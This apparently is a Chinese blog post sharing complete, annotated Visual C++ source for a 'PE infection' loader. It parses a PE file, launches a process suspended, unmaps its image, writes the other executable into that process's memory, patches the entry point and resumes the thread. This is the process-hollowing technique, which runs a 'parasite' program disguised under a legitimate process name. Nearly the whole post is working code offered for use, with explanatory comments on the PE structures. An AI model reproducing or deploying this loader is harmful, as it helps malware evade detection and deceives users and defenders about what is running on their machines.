loadEXEPE感染详细VC源码注释

// loadEXE.cpp : Defines the entry point for the console application.
//实现将笔记本程序插入到计算器程序并替换掉程序进程名

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

struct MZHeader   //DOS
{
    unsigned short signature;  //DOS头标志
    unsigned short partPag;
    unsigned short pageCnt;
    unsigned short reloCnt;
    unsigned short hdrSize;
    unsigned short minMem;
    unsigned short maxMem;
    unsigned short reloSS;
    unsigned short exeSP;
    unsigned short chksum;
    unsigned short exeIP;
    unsigned short reloCS;
    unsigned short tablOff;
    unsigned short overlay;
    unsigned char reserved[32];
    unsigned long offsetToPE;   //MZHearder末尾到PE头的距离(sub)
};

struct PE_Header 
{
    unsigned long signature;   //PE头标志
    unsigned short machine;
    unsigned short numSections;  //表示节的个数
    unsigned long timeDateStamp;
    unsigned long pointerToSymbolTable;
    unsigned long numOfSymbols;
    unsigned short sizeOfOptionHeader;
    unsigned short characteristics;
};

struct PE_ExtHeader
{
    unsigned short magic;
    unsigned char majorLinkerVersion;
    unsigned char minorLinkerVersion;
    unsigned long sizeOfCode;
    unsigned long sizeOfInitializedData;
    unsigned long sizeOfUninitializedData;
    unsigned long addressOfEntryPoint;
    unsigned long baseOfCode;
    unsigned long baseOfData;
    unsigned long imageBase;
    unsigned long sectionAlignment;  //节的大小
    unsigned long fileAlignment;
    unsigned short majorOSVersion;
    unsigned short minorOSVersion;
    unsigned short majorImageVersion;
    unsigned short minorImageVersion;
    unsigned short majorSubsystemVersion;
    unsigned short minorSubsystemVersion;
    unsigned long reserved1;
    unsigned long sizeOfImage;
    unsigned long sizeOfHeaders;//表示头文件的大小,一个PE程序可以分成: 头文件+节===当头文件以节的形式计算时,如果能整除节和不能整除
    unsigned long checksum;
    unsigned short subsystem;
    unsigned short DLLCharacteristics;
    unsigned long sizeOfStackReserve;
    unsigned long sizeOfStackCommit;
    unsigned long sizeOfHeapReserve;
    unsigned long sizeOfHeapCommit;
    unsigned long loaderFlags;
    unsigned long numberOfRVAAndSizes;
    unsigned long exportTableAddress;
    unsigned long exportTableSize;
    unsigned long importTableAddress;
    unsigned long importTableSize;
    unsigned long resourceTableAddress;
    unsigned long resourceTableSize;
    unsigned long exceptionTableAddress;
    unsigned long exceptionTableSize;
    unsigned long certFilePointer;
    unsigned long certTableSize;
    unsigned long relocationTableAddress;
    unsigned long relocationTableSize;
    unsigned long debugDataAddress;
    unsigned long debugDataSize;
    unsigned long archDataAddress;
    unsigned long archDataSize;
    unsigned long globalPtrAddress;
    unsigned long globalPtrSize;
    unsigned long TLSTableAddress;
    unsigned long TLSTableSize;
    unsigned long loadConfigTableAddress;
    unsigned long loadConfigTableSize;
    unsigned long boundImportTableAddress;
    unsigned long boundImportTableSize;
    unsigned long importAddressTableAddress;
    unsigned long importAddressTableSize;
    unsigned long delayImportDescAddress;
    unsigned long delayImportDescSize;
    unsigned long COMHeaderAddress;
    unsigned long COMHeaderSize;
    unsigned long reserved2;
    unsigned long reserved3;
};

struct SectionHeader  //只定义了一个节表达结构是一个数组。。一般有多少个节就有多少个节表结构
{
    unsigned char sectionName[8];
    unsigned long virtualSize;  //节表中virtualSize表示节表对应的节的大小(是节在内存中的长度),PE程序分头文件+节。这个就是节的大小
    unsigned long virtualAddress;
    unsigned long sizeOfRawData;//SizeOfRawData 则是VirtualSize经文件对齐后的尺寸。
    unsigned long pointerToRawData;//SectionHeader[0].pointerToRawData 表示第1个节的头部到头文件头部距离,程序分头文件+节
    unsigned long pointerToRelocations;
    unsigned long pointerToLineNumbers;
    unsigned short numberOfRelocations;
    unsigned short numberOfLineNumbers;
    unsigned long characteristics;
};

struct ImportDirEntry
{
    DWORD importLookupTable;
    DWORD timeDateStamp;
    DWORD fowarderChain;
    DWORD nameRVA;
    DWORD importAddressTable;
};

BOOL readPEInfo(FILE* fp, MZHeader* outMZ, PE_Header* outPE, PE_ExtHeader* outpeXH, SectionHeader** outSecHdr)   //读入指定的母体程序文件到内存分别读DOS头,PE头,节
{
	fseek(fp, 0, SEEK_END);   //fseek用于移动指针的位置
	long fileSize;
	fileSize = ftell( fp );   //ftell返回一个文件的指针
	fseek(fp, 0, SEEK_SET);

	if( fileSize < sizeof(MZHeader) )   //如果读的母体程序比MZHEADER DOS头还小。肯定不是PE文件
	{
		printf("文件的大小不够!");
		return FALSE;
	}

	MZHeader mzH;  //结构的对象变量
	fread(&mzH, sizeof(MZHeader), 1, fp);  //把DOS头读取后保存到MZH中

	if(mzH.signature != 0x5a4d)
	{
		printf("文件没有MZ头!");
		return FALSE;
	}

	if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))  // mzH.offsetToPE 表示PE_Header尾部到PE头的距离
	{
		printf("DOS头数据有误!");
		return FALSE;
	}

	fseek(fp, mzH.offsetToPE, SEEK_SET);
	PE_Header peH;
	fread(&peH, sizeof(PE_Header), 1, fp);

	if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
	{
		printf("获取的PE头数据有错误!\n");
		return FALSE;
	}

	PE_ExtHeader peXH;
	fread(&peXH, sizeof(PE_ExtHeader), 1, fp);  //fread读取后的指针指向文件的尾部

	SectionHeader* secHdr = new SectionHeader[peH.numSections];  //节表本身是数组
	fread(secHdr, sizeof(SectionHeader)*peH.numSections, 1, fp);

	*outMZ = mzH;
	*outPE = peH;
	*outpeXH = peXH;
	*outSecHdr = secHdr;

	return TRUE;
}

int calcTotalImageSize(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr)   //计算文件在保存在内存中的节大小
{
	int alignment;
	alignment = inpeXH->sectionAlignment;
	int result = 0;
	if( inpeXH->sizeOfHeaders % alignment == 0 )    //读取头文件到内存,程序的头文件以节存储时,有整除节和不整除节的情况
	{
		result += inpeXH->sizeOfHeaders;
	}
	else
	{
		int val = inpeXH->sizeOfHeaders/alignment;
		val ++;
		result += val*alignment;
	}

	for(int i=0; i<inPE->numSections; i++)  //读取节到内存中,PE头中numSections表示头文件中节的大小,PE程序分成头文件+节
	{
		if(inSecHdr[i].virtualSize)
		{
			if(inSecHdr[i].virtualSize % alignment == 0)
			{
				result += inSecHdr[i].virtualSize;  //节表中virtualSize表示节表对应的节的大小,
			}
			else
			{
				int val = inSecHdr[i].virtualSize / alignment;
				val++;
				result += val * alignment;
			}
		}
	}

	return result;
}

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)   //判断计算寄生文件的节是否被整除,alignment (节)为内存最小单位
{
	if(curSize % alignment == 0)
	{
		return curSize;
	}
	else
	{
		int val = curSize / alignment;
		val++;
		return (val * alignment);
	}
}

BOOL loadPE(FILE* fp, MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc)   //寄生文件的读取到母体的内存空间,寄生文件的导入时的起始位置LPVOID ptrLoc) ,只能在母体的文件内存中

{
	char* outPtr = (char*)ptrLoc;
	fseek(fp, 0, SEEK_SET);  //将文件的指针移到到文件头部
	unsigned long headerSize;
	headerSize = inpeXH->sizeOfHeaders;  //寄生文件的头文件的大小

	for(int i=0; i<inPE->numSections; i++)   //判断保证获取sizeOfHeaders正确
	{
		if(inSecHdr[i].pointerToRawData < headerSize)  //第1个节.pointerToRawData 的距离=头文件的头部到尾部的距离。程序分头文件+节
		{
			headerSize = inSecHdr[i].pointerToRawData;
		}
	}

	unsigned long readSize;
	readSize = fread(outPtr, 1, headerSize, fp);  //导入头文件
	if( readSize != headerSize )
	{
		printf("寄生文件头文件导入内存时发生错误!\n");
		return FALSE;
	}

	outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);  //头文件大小sizeOfHeaders,内存中保存的最小单位sectionAlignment

	for(i=0; i<inPE->numSections; i++)  //把寄生文件的节读入内存中
	{
		if(inSecHdr[i].sizeOfRawData)
		{
			unsigned long toRead = inSecHdr[i].sizeOfRawData;
			if(toRead > inSecHdr[i].virtualSize)
			{
				toRead = inSecHdr[i].virtualSize;
			}
			fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);//把指针指向节的头部。pointerToRawData 的距离=头文件的头部到尾部的距离,
			readSize = fread(outPtr, 1, toRead, fp);
//SizeOfRawData >=VirtualSize
//VirtualSize 是节在内存中的长度
//SizeOfRawData 则是VirtualSize经文件对齐后的尺寸。
//比如: 你的.text的代码段长是0x110但是文件对齐尺寸是0x400,那.text的SizeOfRawData 就是0x400,而virtualSize就是0x110 
			if( readSize != toRead )
			{
				printf("寄生文件节导入内存时发生错误!\n");
				return FALSE;
			}
			outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
		}
		else
		{
			if(inSecHdr[i].virtualSize)
			{
				outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
			}
		}
	}
	return TRUE;
}

struct FixupBlock   // = RVA + sizeofblock (重定位表 + RVA + )
{
	unsigned long pageRVA; 
	unsigned long blockSize;
};
//程序本身地址和导入内存后程序地址是不一样
void doRelocation(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc, DWORD newBase)   //重定位  LPVOID ptrLoc是程序导入到内存时的数据指针(所有数据),导入内存后程序的新地址DWORD newBase)
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)  //relocationTableAddress表的地址(重定位该表的数据指令项),relocationTableSize重定位表大小
	{
		long delta;
		delta = newBase - inpeXH->imageBase;//程序导入内存前和内存后基地址的偏移,imageBase基地址

		FixupBlock* fixBlk = (FixupBlock*)((char*)ptrLoc + inpeXH->relocationTableAddress);//blockSize
		while(fixBlk->blockSize)
		{
			int numEntries;
			numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
			unsigned short* offsetPtr = (unsigned short*)(fixBlk + 1);
			for(int i=0; i<numEntries; i++)
			{
				DWORD* codeLoc = (DWORD*)((char*)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
				int relocType;
				relocType = (*offsetPtr & 0xF000) >> 12;
				if(relocType == 3)
				{
					*codeLoc = ((DWORD)*codeLoc) + delta;
				}
				offsetPtr++;
			}
			fixBlk = (FixupBlock*)offsetPtr;
		}
	}
}

typedef struct _PROCINFO
{
	DWORD baseAddr;
	DWORD imageSize;
}PROCINFO;

#define TARGETPROC "notopad.exe"
CHAR szDefDir[] = "c:\\";

BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO* outChildProcInfo)    //创建寄生文件的线程
{
	STARTUPINFO si = {0};
	if( CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, szDefDir, &si, pi) )
	{
		ctx->ContextFlags = CONTEXT_FULL;
		GetThreadContext(pi->hThread, ctx);

		DWORD* pebInfo = (DWORD*)ctx->Ebx;
		DWORD read;
		ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

		DWORD curAddr = outChildProcInfo->baseAddr;
		MEMORY_BASIC_INFORMATION memInfo;

		while(VirtualQueryEx(pi->hProcess, (LPCVOID)curAddr, &memInfo, sizeof(memInfo)))
		{
			if(memInfo.State == MEM_FREE)
			{
				break;
			}
			curAddr += memInfo.RegionSize;
		}

		outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
		return TRUE;
	}
	return FALSE;
}

typedef DWORD (WINAPI* PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);//断开文件映像的联系,保证如果写入的寄生文件比较母体文件大的话,要重新开辟内存空间

BOOL hasRelocationTable(PE_ExtHeader* inpeXH)  //
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
	{
		return TRUE;
	}
	return FALSE;
}
 
void doFork(MZHeader* inMZ, PE_Header* inPE, PE_ExtHeader* inpeXH, SectionHeader* inSecHdr, LPVOID ptrLoc, DWORD imageSize)   //插入寄生文件到母体文件,在母体分配空间,//再写入,在母体开辟空间有3种情况,基地址相同和大小相同,或都不相同先断掉映射,如果都没//有再根据母体重定位表再分配空间
{
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi;
	CONTEXT ctx;
	PROCINFO childInfo;

	if( createChild(&pi, &ctx, &childInfo) )
	{
		LPVOID v = (LPVOID)NULL;
		if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)  //imageBase母体程序基地址起始位置
		{
			v = (LPVOID)childInfo.baseAddr;
			DWORD oldProtect;
			VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);//MSDN中查的VirtualProtectEx改变把母体的程序进程的属性该成可写
			printf("Using Existing Mem for new EXE!");
		}
		else
		{
			PTRZwUnmapViewOfSection pZwUnmapViewOfSection = 
				(PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
			if( pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0 )
			{
				v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if(v)
				{
					printf("Unmappe and Allocated Mem for new Exe");
				}
			}
		}

		if( !v && hasRelocationTable(inpeXH) )
		{
			v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存空间
			if(v)
			{
				printf("Allocated Mem for new EXE will be 基重定位relocated!");
				doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
			}
		}

	if( v )
	{
		DWORD* pebInfo = (DWORD*)ctx.Ebx;
		DWORD wrote;
		WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

		if( WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, &wrote) )
		{
			printf("New Exe image injected into process\n");

			ctx.ContextFlags = CONTEXT_FULL;
			if(DWORD(v) == childInfo.baseAddr)
			{
				ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;
			}
			else
			{
				ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;
			}
			SetThreadContext(pi.hThread, &ctx);
			ResumeThread(pi.hThread);
		}
		else
		{
			printf("WriteProcessMemory failed!\n");
			TerminateProcess(pi.hProcess, 0);
		}
	}
	else
	{
		printf("Fail to Allocate Memory!\n");
		TerminateProcess(pi.hProcess, 0);
	}
	}
}




int main(int argc, char* argv[])
{
	FILE* fp;

	if( argc != 2 )
	{
		printf("Usage: %s <EXE filaname>\n", argv[0]);
		return 0;
	}
	else
	{
		fp = fopen(argv[1], "rb");
	}

	if( fp )
	{
		MZHeader mzH;
		PE_Header peH;
		PE_ExtHeader peXH;
		SectionHeader* secHdr;

		if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
		{
			int imageSize;
			imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);

			LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if( ptrLoc )
			{
				loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
				doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
			}
			else
			{
				printf("Allocation failed\n");
			}

		}

		fclose( fp );
	}
	else
	{
		printf("Can not open the EXE file!\n");
	}


	return 0;
}

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值